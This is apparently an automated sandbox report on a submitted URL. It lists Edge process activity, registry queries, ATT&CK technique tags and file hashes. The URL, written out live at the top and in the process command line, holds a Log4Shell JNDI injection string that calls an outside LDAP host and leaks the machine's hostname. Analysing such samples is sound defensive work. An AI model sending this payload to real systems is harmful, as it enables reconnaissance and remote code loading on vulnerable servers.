hxxp://ling[.]api[.]ai/?x=${jndi[:]ldap[://]${[:]-539}${[:]-784}[.]${hostName}[.]uri[.]csvbsdop5j1atq7jdptgrcaswyqu3t4j1[.]hichinacdn[.]net/a}"

Analysis

max time kernel
43s
max time network
56s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
21/11/2024, 05:45

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General

Target

http://ling.api.ai/?x=${jndi:ldap://${:-539}${:-784}.${hostName}.uri.csvbsdop5j1atq7jdptgrcaswyqu3t4j1.hichinacdn.net/a}"

Score

3^/10

discovery

Malware Config

Signatures

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3892	msedge.exe
3892	msedge.exe
4836	msedge.exe
4836	msedge.exe
1784	identity_helper.exe
1784	identity_helper.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs

pid	Process
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe

Suspicious use of FindShellTrayWindow 25 IoCs

pid	Process
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4836 wrote to memory of 4536	4836	msedge.exe	84
PID 4836 wrote to memory of 4536	4836	msedge.exe	84
PID 4836 wrote to memory of 1676	4836	msedge.exe	85
PID 4836 wrote to memory of 1676	4836	msedge.exe	85
PID 4836 wrote to memory of 1676	4836	msedge.exe	85
PID 4836 wrote to memory of 1676	4836	msedge.exe	85
PID 4836 wrote to memory of 1676	4836	msedge.exe	85
PID 4836 wrote to memory of 1676	4836	msedge.exe	85
PID 4836 wrote to memory of 1676	4836	msedge.exe	85
PID 4836 wrote to memory of 1676	4836	msedge.exe	85
PID 4836 wrote to memory of 1676	4836	msedge.exe	85
PID 4836 wrote to memory of 1676	4836	msedge.exe	85
PID 4836 wrote to memory of 1676	4836	msedge.exe	85
PID 4836 wrote to memory of 1676	4836	msedge.exe	85
PID 4836 wrote to memory of 1676	4836	msedge.exe	85
PID 4836 wrote to memory of 1676	4836	msedge.exe	85
PID 4836 wrote to memory of 1676	4836	msedge.exe	85
PID 4836 wrote to memory of 1676	4836	msedge.exe	85
PID 4836 wrote to memory of 1676	4836	msedge.exe	85
PID 4836 wrote to memory of 1676	4836	msedge.exe	85
PID 4836 wrote to memory of 1676	4836	msedge.exe	85
PID 4836 wrote to memory of 1676	4836	msedge.exe	85
PID 4836 wrote to memory of 1676	4836	msedge.exe	85
PID 4836 wrote to memory of 1676	4836	msedge.exe	85
PID 4836 wrote to memory of 1676	4836	msedge.exe	85
PID 4836 wrote to memory of 1676	4836	msedge.exe	85
PID 4836 wrote to memory of 1676	4836	msedge.exe	85
PID 4836 wrote to memory of 1676	4836	msedge.exe	85
PID 4836 wrote to memory of 1676	4836	msedge.exe	85
PID 4836 wrote to memory of 1676	4836	msedge.exe	85
PID 4836 wrote to memory of 1676	4836	msedge.exe	85
PID 4836 wrote to memory of 1676	4836	msedge.exe	85
PID 4836 wrote to memory of 1676	4836	msedge.exe	85
PID 4836 wrote to memory of 1676	4836	msedge.exe	85
PID 4836 wrote to memory of 1676	4836	msedge.exe	85
PID 4836 wrote to memory of 1676	4836	msedge.exe	85
PID 4836 wrote to memory of 1676	4836	msedge.exe	85
PID 4836 wrote to memory of 1676	4836	msedge.exe	85
PID 4836 wrote to memory of 1676	4836	msedge.exe	85
PID 4836 wrote to memory of 1676	4836	msedge.exe	85
PID 4836 wrote to memory of 1676	4836	msedge.exe	85
PID 4836 wrote to memory of 1676	4836	msedge.exe	85
PID 4836 wrote to memory of 3892	4836	msedge.exe	86
PID 4836 wrote to memory of 3892	4836	msedge.exe	86
PID 4836 wrote to memory of 2104	4836	msedge.exe	87
PID 4836 wrote to memory of 2104	4836	msedge.exe	87
PID 4836 wrote to memory of 2104	4836	msedge.exe	87
PID 4836 wrote to memory of 2104	4836	msedge.exe	87
PID 4836 wrote to memory of 2104	4836	msedge.exe	87
PID 4836 wrote to memory of 2104	4836	msedge.exe	87
PID 4836 wrote to memory of 2104	4836	msedge.exe	87
PID 4836 wrote to memory of 2104	4836	msedge.exe	87
PID 4836 wrote to memory of 2104	4836	msedge.exe	87
PID 4836 wrote to memory of 2104	4836	msedge.exe	87
PID 4836 wrote to memory of 2104	4836	msedge.exe	87
PID 4836 wrote to memory of 2104	4836	msedge.exe	87
PID 4836 wrote to memory of 2104	4836	msedge.exe	87
PID 4836 wrote to memory of 2104	4836	msedge.exe	87
PID 4836 wrote to memory of 2104	4836	msedge.exe	87
PID 4836 wrote to memory of 2104	4836	msedge.exe	87
PID 4836 wrote to memory of 2104	4836	msedge.exe	87
PID 4836 wrote to memory of 2104	4836	msedge.exe	87
PID 4836 wrote to memory of 2104	4836	msedge.exe	87
PID 4836 wrote to memory of 2104	4836	msedge.exe	87

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --single-argument http://ling.api.ai/?x=${jndi:ldap://${:-539}${:-784}.${hostName}.uri.csvbsdop5j1atq7jdptgrcaswyqu3t4j1.hichinacdn.net/a}"
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4836
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffc5a6646f8,0x7ffc5a664708,0x7ffc5a664718
  2⤵
  PID:4536
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2120,7363203677284747420,1895621003721398913,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2128 /prefetch:2
  2⤵
  PID:1676
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2120,7363203677284747420,1895621003721398913,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2212 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3892
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2120,7363203677284747420,1895621003721398913,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2552 /prefetch:8
  2⤵
  PID:2104
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,7363203677284747420,1895621003721398913,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3248 /prefetch:1
  2⤵
  PID:4884
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,7363203677284747420,1895621003721398913,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3260 /prefetch:1
  2⤵
  PID:3184
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2120,7363203677284747420,1895621003721398913,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5232 /prefetch:8
  2⤵
  PID:2984
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2120,7363203677284747420,1895621003721398913,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5232 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1784
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,7363203677284747420,1895621003721398913,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5772 /prefetch:1
  2⤵
  PID:1408
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,7363203677284747420,1895621003721398913,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5788 /prefetch:1
  2⤵
  PID:4056
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,7363203677284747420,1895621003721398913,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6016 /prefetch:1
  2⤵
  PID:4368
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,7363203677284747420,1895621003721398913,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6044 /prefetch:1
  2⤵
  PID:2348
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2120,7363203677284747420,1895621003721398913,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=3756 /prefetch:8
  2⤵
  PID:5068
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,7363203677284747420,1895621003721398913,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4036 /prefetch:1
  2⤵
  PID:3804
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,7363203677284747420,1895621003721398913,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5608 /prefetch:1
  2⤵
  PID:4088

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3640

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3792

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
bffcefacce25cd03f3d5c9446ddb903d

SHA1
8923f84aa86db316d2f5c122fe3874bbe26f3bab

SHA256
23e7cbbf64c81122c3cb30a0933c10a320e254447771737a326ce37a0694d405

SHA512
761dae5315b35ec0b2fe68019881397f5d2eadba3963aba79a89f8953a0cd705012d7faf3a204a5f36008926b9f614980e333351596b06ce7058d744345ce2e7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
d22073dea53e79d9b824f27ac5e9813e

SHA1
6d8a7281241248431a1571e6ddc55798b01fa961

SHA256
86713962c3bb287964678b148ee08ea83fb83483dff8be91c8a6085ca560b2a6

SHA512
97152091ee24b6e713b8ec8123cb62511f8a7e8a6c6c3f2f6727d0a60497be28814613b476009b853575d4931e5df950e28a41afbf6707cb672206f1219c4413

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
646fd69f6428733d5006a70ccaf099aa

SHA1
26722d6a4464234b5805cdc109d7958447692b8b

SHA256
df4f0e47e2ab9fb94ba08a51173316a7ddebb3d26285b367ba27edc145da2699

SHA512
e3d81a1fd036caccc4f5909fbb416f99a4e2f1486a80d889309d198fb825d1bce39073e4bbbfc24039df0c7f2ac032bcd66b54ee46a909a87cdc8bd4d65d68c4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
8KB

MD5
a74ce648ee93043bc491366d6cf99dec

SHA1
d317766336b0d5d5ebc562303d38055db2637261

SHA256
558c0f22b7af91f7356dd265579d9851859dfa28f331683ada804b3b451e599a

SHA512
c2a877c947617ae0303ca668e62407d32cf3c3ab3d57813e5e66a09ce316d9b1968176ffd1e3b2a824aaba79072d26cd69506182fd9a2d5d2dd917d18a446f1c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
d6b6b9035abf3844bbdf5edf105b1d69

SHA1
1b529d23b54a4b2a309023846fd651dcdfbd40b4

SHA256
8828934b78f48a43a4e4923181521adf25cf025a4e18f778debf6f6e48d4c518

SHA512
12b9dc717dad3559068343f8f4a7dd3d410e1aad88393407e40c74d932d4231d8d26e24e40d9849c402fc06e1c141333ed8e97c499aa55792c12b63d0edef058

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
bb05e37c3686ebaabd4f355d01d8082c

SHA1
e35eeacfe2c53f2e18f2cc9c8a5ab201836eac19

SHA256
2bfd84833b1989def78657e383c40ba82bfc33d2df30f39a1b3bcfd8e6f957e2

SHA512
e43226b02fb4e6545741da4b08acaafa50801d334f149a90939667e35a637a0f52b556079d927deb0f2fe79af3aae1859ce634efe296fe3558290eb4cf6d6046

Download Submit